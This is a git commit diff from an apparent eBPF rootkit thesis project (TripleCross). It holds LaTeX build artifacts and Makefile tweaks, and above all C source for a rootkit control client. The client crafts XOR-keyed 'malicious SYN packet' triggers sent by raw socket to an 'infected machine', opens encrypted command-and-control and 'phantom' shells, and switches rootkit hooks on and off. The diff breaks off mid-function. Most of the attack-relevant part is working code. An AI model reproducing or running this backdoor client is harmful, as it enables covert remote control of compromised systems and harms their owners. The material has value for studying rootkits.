mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-24 10:23:08 +08:00
Merge branch 'develop'
This commit is contained in:
49
docs/document.aux
Normal file
49
docs/document.aux
Normal file
@@ -0,0 +1,49 @@
|
||||
\relax
|
||||
\providecommand\hyper@newdestlabel[2]{}
|
||||
\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument}
|
||||
\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined
|
||||
\global\let\oldcontentsline\contentsline
|
||||
\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}}
|
||||
\global\let\oldnewlabel\newlabel
|
||||
\gdef\newlabel#1#2{\newlabelxx{#1}#2}
|
||||
\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}}
|
||||
\AtEndDocument{\ifx\hyper@anchor\@undefined
|
||||
\let\contentsline\oldcontentsline
|
||||
\let\newlabel\oldnewlabel
|
||||
\fi}
|
||||
\fi}
|
||||
\global\let\hyper@last\relax
|
||||
\gdef\HyperFirstAtBeginDocument#1{#1}
|
||||
\providecommand\HyField@AuxAddToFields[1]{}
|
||||
\providecommand\HyField@AuxAddToCoFields[2]{}
|
||||
\providecommand\babel@aux[2]{}
|
||||
\@nameuse{bbl@beforestart}
|
||||
\@writefile{toc}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\@writefile{lof}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\@writefile{lot}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\abx@aux@refcontext{none/global//global/global}
|
||||
\babel@aux{english}{}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {1}Introduction}{1}{chapter.1}\protected@file@percent }
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.1}Motivation}{1}{section.1.1}\protected@file@percent }
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.2}Objectives}{1}{section.1.2}\protected@file@percent }
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.3}Regulatory framework}{1}{section.1.3}\protected@file@percent }
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.1}Social and economic environment}{1}{subsection.1.3.1}\protected@file@percent }
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.2}Budget}{1}{subsection.1.3.2}\protected@file@percent }
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {2}State of the Art}{2}{chapter.2}\protected@file@percent }
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {3}Methods??}{3}{chapter.3}\protected@file@percent }
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {4}Results}{4}{chapter.4}\protected@file@percent }
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {5}Conclusion and future work}{5}{chapter.5}\protected@file@percent }
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{Bibliography}{}{chapter.5}\protected@file@percent }
|
||||
\abx@aux@read@bbl@mdfivesum{F7F239C736CF01AC6CE7BD829F9B3C7B}
|
||||
\ttl@finishall
|
||||
\gdef \@abspage@last{19}
|
||||
@@ -1,10 +1,10 @@
|
||||
# Fdb version 3
|
||||
["biber document"] 1651110568 "document.bcf" "document.bbl" "document" 1651110571
|
||||
"document.bcf" 1651110571 106224 da8582ad46a2e9ef51d4a6aef61fa821 "pdflatex"
|
||||
["biber document"] 1651110568 "document.bcf" "document.bbl" "document" 1652661884
|
||||
"document.bcf" 1652661884 106224 da8582ad46a2e9ef51d4a6aef61fa821 "pdflatex"
|
||||
(generated)
|
||||
"document.blg"
|
||||
"document.bbl"
|
||||
["pdflatex"] 1651110570 "document.tex" "document.pdf" "document" 1651110571
|
||||
["pdflatex"] 1652661883 "document.tex" "document.pdf" "document" 1652661884
|
||||
"/etc/texmf/web2c/texmf.cnf" 1651100307 475 c0e671620eb5563b2130f56340a5fde8 ""
|
||||
"/usr/share/texlive/texmf-dist/fonts/enc/dvips/base/8r.enc" 1165713224 4850 80dc9bab7f31fb78a000ccfed0e27cab ""
|
||||
"/usr/share/texlive/texmf-dist/fonts/map/fontname/texfonts.map" 1577235249 3524 cb3e574dea2d1052e39280babc910dc8 ""
|
||||
@@ -164,25 +164,25 @@
|
||||
"/usr/share/texmf/web2c/texmf.cnf" 1613593815 38841 799d1dd9682a55ce442e10c99777ecc1 ""
|
||||
"/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map" 1651100317 128028 f533b797fba58d231669ea19e894e23e ""
|
||||
"/var/lib/texmf/web2c/pdftex/pdflatex.fmt" 1651100326 1334284 230f0b70f00981bccbdb458564f1009e ""
|
||||
"document.aux" 1651110571 3980 ac8560383567190d4c9935da62bc328a "pdflatex"
|
||||
"document.bbl" 1651110569 466 f7f239c736cf01ac6ce7bd829f9b3c7b "biber document"
|
||||
"document.lof" 1651110571 419 65e977773db8f33e78f36376c2ad29c2 "pdflatex"
|
||||
"document.lot" 1651110571 419 65e977773db8f33e78f36376c2ad29c2 "pdflatex"
|
||||
"document.out" 1651110571 645 22937790bee0f30769157dc04627a687 "pdflatex"
|
||||
"document.run.xml" 1651110571 2445 b409c18254f7f5782630d13a05948f21 "pdflatex"
|
||||
"document.tex" 1651110491 7290 7ef711fa5c6c0324b653cdfc2027fb58 ""
|
||||
"document.toc" 1651110571 1328 870a9e1b750dca8c61fbc67ab6e4c40a "pdflatex"
|
||||
"images//Portada_Logo.png" 1637430041 22996 c527860321fd85a49ffef78eb664cfb0 ""
|
||||
"images/creativecommons.png" 1637430041 20748 2d1005dcab1cdcb889ee17a8f3b8cbcb ""
|
||||
"pdfa.xmpi" 1651110570 5042 ec2dd385c3dc6535e4ddd21c8960dc36 "pdflatex"
|
||||
"document.aux" 1652661884 3980 ac8560383567190d4c9935da62bc328a "pdflatex"
|
||||
"document.bbl" 1651111207 466 f7f239c736cf01ac6ce7bd829f9b3c7b "biber document"
|
||||
"document.lof" 1652661884 419 65e977773db8f33e78f36376c2ad29c2 "pdflatex"
|
||||
"document.lot" 1652661884 419 65e977773db8f33e78f36376c2ad29c2 "pdflatex"
|
||||
"document.out" 1652661884 645 22937790bee0f30769157dc04627a687 "pdflatex"
|
||||
"document.run.xml" 1652661884 2445 b409c18254f7f5782630d13a05948f21 "pdflatex"
|
||||
"document.tex" 1651111039 7290 7ef711fa5c6c0324b653cdfc2027fb58 ""
|
||||
"document.toc" 1652661884 1328 870a9e1b750dca8c61fbc67ab6e4c40a "pdflatex"
|
||||
"images//Portada_Logo.png" 1651111039 22996 c527860321fd85a49ffef78eb664cfb0 ""
|
||||
"images/creativecommons.png" 1651111039 20748 2d1005dcab1cdcb889ee17a8f3b8cbcb ""
|
||||
"pdfa.xmpi" 1652661883 5042 d5270473cb48dba0b64f7f9ed4b3e65c "pdflatex"
|
||||
(generated)
|
||||
"pdfa.xmpi"
|
||||
"document.lof"
|
||||
"document.lot"
|
||||
"document.log"
|
||||
"document.out"
|
||||
"document.aux"
|
||||
"document.bcf"
|
||||
"document.lof"
|
||||
"pdfa.xmpi"
|
||||
"document.aux"
|
||||
"document.toc"
|
||||
"document.out"
|
||||
"document.pdf"
|
||||
"document.log"
|
||||
"document.run.xml"
|
||||
"document.lot"
|
||||
@@ -1,4 +1,4 @@
|
||||
This is pdfTeX, Version 3.14159265-2.6-1.40.21 (TeX Live 2020/Debian) (preloaded format=pdflatex 2022.4.27) 27 APR 2022 21:49
|
||||
This is pdfTeX, Version 3.14159265-2.6-1.40.21 (TeX Live 2020/Debian) (preloaded format=pdflatex 2022.4.27) 15 MAY 2022 20:45
|
||||
entering extended mode
|
||||
restricted \write18 enabled.
|
||||
%&-line parsing enabled.
|
||||
Binary file not shown.
BIN
docs/document.synctex.gz
Normal file
BIN
docs/document.synctex.gz
Normal file
Binary file not shown.
31
docs/original_template/plantilla_tfg_ingles_2019.aux
Normal file
31
docs/original_template/plantilla_tfg_ingles_2019.aux
Normal file
@@ -0,0 +1,31 @@
|
||||
\relax
|
||||
\providecommand\hyper@newdestlabel[2]{}
|
||||
\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument}
|
||||
\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined
|
||||
\global\let\oldcontentsline\contentsline
|
||||
\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}}
|
||||
\global\let\oldnewlabel\newlabel
|
||||
\gdef\newlabel#1#2{\newlabelxx{#1}#2}
|
||||
\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}}
|
||||
\AtEndDocument{\ifx\hyper@anchor\@undefined
|
||||
\let\contentsline\oldcontentsline
|
||||
\let\newlabel\oldnewlabel
|
||||
\fi}
|
||||
\fi}
|
||||
\global\let\hyper@last\relax
|
||||
\gdef\HyperFirstAtBeginDocument#1{#1}
|
||||
\providecommand\HyField@AuxAddToFields[1]{}
|
||||
\providecommand\HyField@AuxAddToCoFields[2]{}
|
||||
\abx@aux@sortscheme{none}
|
||||
\abx@aux@refcontext{none/global/}
|
||||
\@writefile{toc}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\@writefile{lof}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\@writefile{lot}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||
\select@language{english}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\select@language{english}}
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\select@language{english}}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\select@language{english}}
|
||||
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {1}Introduction}{1}{chapter.1}}
|
||||
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\ttl@finishall
|
||||
@@ -73,15 +73,15 @@
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">
|
||||
<xmp:CreatorTool>LaTeX with hyperref</xmp:CreatorTool>
|
||||
<xmp:ModifyDate>2022-04-27T22:00:08-04:00</xmp:ModifyDate>
|
||||
<xmp:CreateDate>2022-04-27T22:00:08-04:00</xmp:CreateDate>
|
||||
<xmp:MetadataDate>2022-04-27T22:00:08-04:00</xmp:MetadataDate>
|
||||
<xmp:ModifyDate>2022-05-15T20:45:29-04:00</xmp:ModifyDate>
|
||||
<xmp:CreateDate>2022-05-15T20:45:29-04:00</xmp:CreateDate>
|
||||
<xmp:MetadataDate>2022-05-15T20:45:29-04:00</xmp:MetadataDate>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpRights = "http://ns.adobe.com/xap/1.0/rights/">
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
|
||||
<xmpMM:DocumentID>uuid:467B87E0-A1EA-A037-7CB7-0477245DEBC3</xmpMM:DocumentID>
|
||||
<xmpMM:InstanceID>uuid:EB64BA93-85C6-C62F-8381-0DA112BD774C</xmpMM:InstanceID>
|
||||
<xmpMM:InstanceID>uuid:FF2B603E-8E11-5D95-966B-D90FEA3E99B9</xmpMM:InstanceID>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
</x:xmpmeta>
|
||||
|
||||
Binary file not shown.
22887
src/.output/kit.skel.h
22887
src/.output/kit.skel.h
File diff suppressed because it is too large
Load Diff
10
src/Makefile
10
src/Makefile
@@ -87,21 +87,21 @@ $(patsubst %,$(OUTPUT)/%.o, $(APPS)): %.o: %.skel.h
|
||||
#User includes and modules
|
||||
$(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(USER_INCLUDES_SRC) -o $@
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -Wno-deprecated-declarations -c $(USER_INCLUDES_SRC) -o $@
|
||||
|
||||
#User code
|
||||
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@ -ldl
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -Wno-deprecated-declarations -o $@ -ldl
|
||||
|
||||
# Build application binary
|
||||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
|
||||
$(call msg,BINARY,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@ -ldl
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@ -ldl
|
||||
$(Q)rm $(USER_INCLUDES_OBJ)
|
||||
|
||||
tckit: $(abspath $(EBPF)/include/bpf)/tc.c
|
||||
clang -O2 -emit-llvm -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
|
||||
tckit: $(abspath $(EBPF)/include/bpf)/tc.c $(LIBBPF_OBJ)
|
||||
clang -O2 -emit-llvm -g -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
|
||||
llc -march=bpf -mcpu=probe -filetype=obj -o tc.o
|
||||
|
||||
|
||||
|
||||
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -1,15 +1,15 @@
|
||||
CC = gcc
|
||||
HEADERS = lib/RawTCP.h
|
||||
HEADERS = lib/RawTCP.h include/sslserver.h
|
||||
EXTRA_CFLAGS= -I$(PWD)/lib
|
||||
|
||||
default:
|
||||
make injector
|
||||
|
||||
client.o: client.c $(HEADERS)
|
||||
gcc -c client.c
|
||||
gcc -c -Wno-deprecated-declarations client.c
|
||||
|
||||
injector: client.o lib/libRawTCP_Lib.a
|
||||
gcc -lm -o injector client.o -L. lib/libRawTCP_Lib.a
|
||||
gcc -lm -o injector client.o -L/usr/lib -lssl -lcrypto -L. lib/libRawTCP_Lib.a
|
||||
|
||||
clean:
|
||||
-rm -f client.o
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
#define _GNU_SOURCE
|
||||
#include "lib/RawTCP.h"
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@@ -8,9 +9,14 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <ifaddrs.h>
|
||||
#include <linux/if_link.h>
|
||||
|
||||
#include "../common/constants.h"
|
||||
#include "../common/c&c.h"
|
||||
#include "include/sslserver.h"
|
||||
|
||||
// For printing with colors
|
||||
#define KGRN "\x1B[32m"
|
||||
@@ -20,6 +26,7 @@
|
||||
#define KRED "\x1B[31m"
|
||||
#define RESET "\x1B[0m"
|
||||
|
||||
|
||||
void print_welcome_message(){
|
||||
printf("*******************************************************\n");
|
||||
printf("************************* TFG *************************\n");
|
||||
@@ -35,7 +42,22 @@ void print_help_dialog(const char* arg){
|
||||
char* desc = "Send a secret message to IP";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-c IP";
|
||||
desc = "Activate direct command & control shell with IP";
|
||||
desc = "Activate C&C shell with IP - Using execve backdoor";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-e IP";
|
||||
desc = "Activate encrypted C&C shell with IP - with v1 trigger";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-s IP";
|
||||
desc = "Activate encrypted C&C shell with IP - with multi-packet trigger";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-p IP";
|
||||
desc = "Launch a phantom shell - with v1 trigger";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-a IP";
|
||||
desc = "Activate all of rootkit's hooks";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-u IP";
|
||||
desc = "Deactivate all of rootkit's hooks";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-h";
|
||||
desc = "Print this help";
|
||||
@@ -53,11 +75,82 @@ void check_ip_address_format(char* address){
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Improved version of getting local IP
|
||||
* Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
|
||||
*
|
||||
* @return char*
|
||||
*/
|
||||
char* getLocalIpAddress(){
|
||||
char hostbuffer[256];
|
||||
char* IPbuffer = calloc(256, sizeof(char));
|
||||
struct hostent *host_entry;
|
||||
int hostname;
|
||||
|
||||
char buf[BUFSIZ];
|
||||
printf(">> Which network interface do you want to use?>: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
|
||||
struct ifaddrs *ifaddr;
|
||||
int family, s;
|
||||
char host[NI_MAXHOST];
|
||||
|
||||
if (getifaddrs(&ifaddr) == -1) {
|
||||
perror("getifaddrs");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* Walk through linked list, maintaining head pointer so we
|
||||
can free list later. */
|
||||
|
||||
for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
|
||||
if (ifa->ifa_addr == NULL)
|
||||
continue;
|
||||
|
||||
family = ifa->ifa_addr->sa_family;
|
||||
|
||||
/* Display interface name and family (including symbolic
|
||||
form of the latter for the common families). */
|
||||
|
||||
//printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(family == AF_INET) ? "AF_INET" :(family == AF_INET6) ? "AF_INET6" : "???",family);
|
||||
/* For an AF_INET* interface address, display the address. */
|
||||
|
||||
if (family == AF_INET || family == AF_INET6) {
|
||||
s = getnameinfo(ifa->ifa_addr,
|
||||
(family == AF_INET) ? sizeof(struct sockaddr_in) :
|
||||
sizeof(struct sockaddr_in6),
|
||||
host, NI_MAXHOST,
|
||||
NULL, 0, NI_NUMERICHOST);
|
||||
if (s != 0) {
|
||||
printf("getnameinfo() failed: %s\n", gai_strerror(s));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
//printf("\t\taddress: <%s>\n", host);
|
||||
if(strcmp(ifa->ifa_name, buf)==0){
|
||||
//Interface we chose
|
||||
printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
|
||||
strcpy(IPbuffer, host);
|
||||
return IPbuffer;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
printf("["KRED"ERROR"RESET"]""That was not a valid interface\n");
|
||||
|
||||
freeifaddrs(ifaddr);
|
||||
|
||||
exit(FAIL);
|
||||
}
|
||||
|
||||
char* getLocalIpAddress_old(){
|
||||
char hostbuffer[256];
|
||||
char* IPbuffer = calloc(256, sizeof(char));
|
||||
struct hostent *host_entry;
|
||||
int hostname;
|
||||
|
||||
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
|
||||
if(hostname==-1){
|
||||
@@ -80,6 +173,90 @@ char* getLocalIpAddress(){
|
||||
return IPbuffer;
|
||||
}
|
||||
|
||||
unsigned short crc16(const unsigned char* data_p, unsigned char length){
|
||||
unsigned char x;
|
||||
unsigned short crc = 0xFFFF;
|
||||
|
||||
while (length--){
|
||||
x = crc >> 8 ^ *data_p++;
|
||||
x ^= x>>4;
|
||||
crc = (crc << 8) ^ ((unsigned short)(x << 12)) ^ ((unsigned short)(x <<5)) ^ ((unsigned short)x);
|
||||
}
|
||||
return crc;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Operates input in phantom shell mode.
|
||||
* Returns whether the connection should keep open (0) or not (otherwise)
|
||||
*
|
||||
* @param buf
|
||||
* @return int
|
||||
*/
|
||||
int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
||||
int is_global_command = manage_global_command(buf, NULL, local_ip, dest);
|
||||
if(is_global_command == 1){
|
||||
//Already finished then, go to next command input
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* request = calloc(4096, sizeof(char));
|
||||
strcpy(request, CC_PROT_PHANTOM_COMMAND_REQUEST);
|
||||
strcat(request, buf);
|
||||
packet_t packet;
|
||||
pid_t pid = fork();
|
||||
if(pid<0){
|
||||
printf("["KRED"ERROR"RESET"]""Could not fork() process\n");
|
||||
return 1;
|
||||
}
|
||||
if(pid==0){
|
||||
packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
//printf("Sending %s\n", msg);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return 1;
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
//sleep(0.5);
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
packet = rawsocket_sniff_pattern(CC_PROT_PHANTOM_COMMAND_RESPONSE);
|
||||
char* res = packet.payload;
|
||||
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
|
||||
if(strncmp(res, CC_PROT_PHANTOM_COMMAND_RESPONSE, strlen(CC_PROT_PHANTOM_COMMAND_RESPONSE))==0){
|
||||
//Received a response
|
||||
char *p;
|
||||
p = strtok(res, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if(p){
|
||||
//Print response
|
||||
printf("%s\n", p);
|
||||
}else{
|
||||
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
|
||||
}
|
||||
}else if(strncmp(res, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
|
||||
}else if(strncmp(res, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){
|
||||
printf("[" KGRN "WARN" RESET "]""The backdoor just signaled an ACK. This should not have happened.");
|
||||
}else{
|
||||
//If at this point, then we failed to identify the backdoor message
|
||||
//We attempt to send a final message indicating we are halting the connection
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
|
||||
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
|
||||
const char *response = CC_PROT_FIN;
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return 1;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
//printf("["KGRN"RESPONSE"RESET"] %s\n", res);
|
||||
|
||||
free(request);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*void get_shell(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
@@ -185,6 +362,282 @@ void activate_command_control_shell(char* argv){
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
//Rootkit backdoor V2 being used - Bvp47 like
|
||||
void activate_command_control_shell_encrypted(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
||||
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
|
||||
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
//Follow protocol rules
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
|
||||
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
|
||||
//K3 with command to start the encrypted connection with the backdoor
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL;
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key1[ii];
|
||||
}
|
||||
memcpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key2[ii];
|
||||
}
|
||||
memcpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ section2[ii] ^ key3[ii];
|
||||
}
|
||||
|
||||
memcpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
|
||||
}
|
||||
|
||||
server_run(8500);
|
||||
}
|
||||
|
||||
//For V2 backdoor - Sends secret packet that control state of hooks
|
||||
void hook_control_command(char* argv, int mode){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
||||
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
|
||||
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
//Follow protocol rules
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
|
||||
